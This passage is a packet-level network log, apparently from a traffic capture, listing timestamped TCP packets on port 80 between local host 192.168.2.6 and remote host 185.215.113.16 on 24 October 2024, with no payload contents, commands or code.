Oct 24, 2024 04:58:13.671432018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.671457052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.671464920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.671483040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.671519041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709021091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709085941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709121943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709120989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709151030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709158897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709196091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709204912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709230900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709244013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709265947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709275007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709304094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709310055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709343910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709491014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709526062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709534883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709563017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709570885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709599018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709606886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709666967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709705114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709757090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709790945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709800959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709826946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709835052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709867001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.709876060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.709911108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710089922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710141897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710165977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710196972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710208893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710230112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710237026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710267067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710269928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710308075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710333109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710372925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710380077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710431099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710464954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710499048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710510015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710532904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710536003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710573912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710724115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710758924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710777998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710793018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710798979 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710834026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710859060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710901976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710906029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710944891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.710951090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710987091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.710994959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.711023092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.711031914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.711059093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.718111992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718168020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718200922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718215942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.718235016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718249083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.718270063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718306065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718318939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.718334913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718369961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718415022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.718440056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.718529940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.751905918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.751970053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.751971960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.752007961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.752015114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.752043009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.752048969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.752084017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.752088070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.752119064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.752155066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.752170086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756666899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756699085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756733894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756747007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756781101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756789923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756820917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756834030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756856918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756891966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756902933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756933928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.756944895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.756980896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757014036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757030010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757054090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757061005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757095098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757102013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757128954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757136106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757179976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757288933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757322073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757337093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757355928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.757360935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.757395983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.760256052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.760289907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.760324955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.760335922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787075996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787142992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787163019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787179947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787215948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787237883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787237883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787252903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787264109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787287951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787342072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787344933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787390947 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787404060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787456989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787491083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787513018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787524939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787539005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787580013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787616014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787650108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787669897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787700891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787704945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787740946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787759066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787776947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787801027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787811041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787825108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787847996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787882090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787900925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787918091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.787925959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.787970066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788364887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788399935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788425922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788434982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788445950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788469076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788489103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788506985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788516045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788542032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788563967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788579941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788589954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788610935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.788638115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.788655996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826097965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826133013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826160908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826186895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826193094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826221943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826251984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826256990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826282024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826291084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826303959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826328993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826337099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826385975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826436043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826466084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826520920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826678038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826793909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826801062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826829910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826833963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826865911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826879978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826903105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826921940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826952934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.826961994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.826992035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827018023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827044010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827049971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827085018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827120066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827138901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827152967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827168941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827208042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827338934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827393055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827395916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827428102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827439070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827492952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827497005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827548027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827550888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827604055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827604055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827639103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827651978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827676058 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827688932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827728987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827915907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827950954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.827975988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.827985048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828003883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.828035116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.828053951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828109026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.828109026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828161955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.828162909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828198910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828233957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.828252077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.828293085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837300062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837335110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837368965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837387085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837419987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837421894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837456942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837490082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837502956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837523937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837579012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837726116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837754965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837799072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.837869883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837904930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837938070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.837982893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.868632078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.868685961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.868695974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.868721008 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.868729115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.868756056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.868777990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.868791103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.868799925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.868848085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.873784065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.873819113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.873872042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.873878956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.873907089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.873924971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.873963118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.873995066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874017954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874030113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874058008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874066114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874077082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874100924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874119043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874162912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874231100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874283075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874314070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874346018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874363899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874366999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874402046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874422073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874445915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874488115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874521971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874540091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.874556065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.874605894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.879519939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.879570961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.879575014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.879606009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.879640102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.879652023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.879673004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.879817963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904460907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904515982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904537916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904562950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904573917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904613018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904622078 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904649019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904668093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904685020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904706001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.904721022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.904731035 CEST	49996	80	192.168.2.6	185.215.113.16
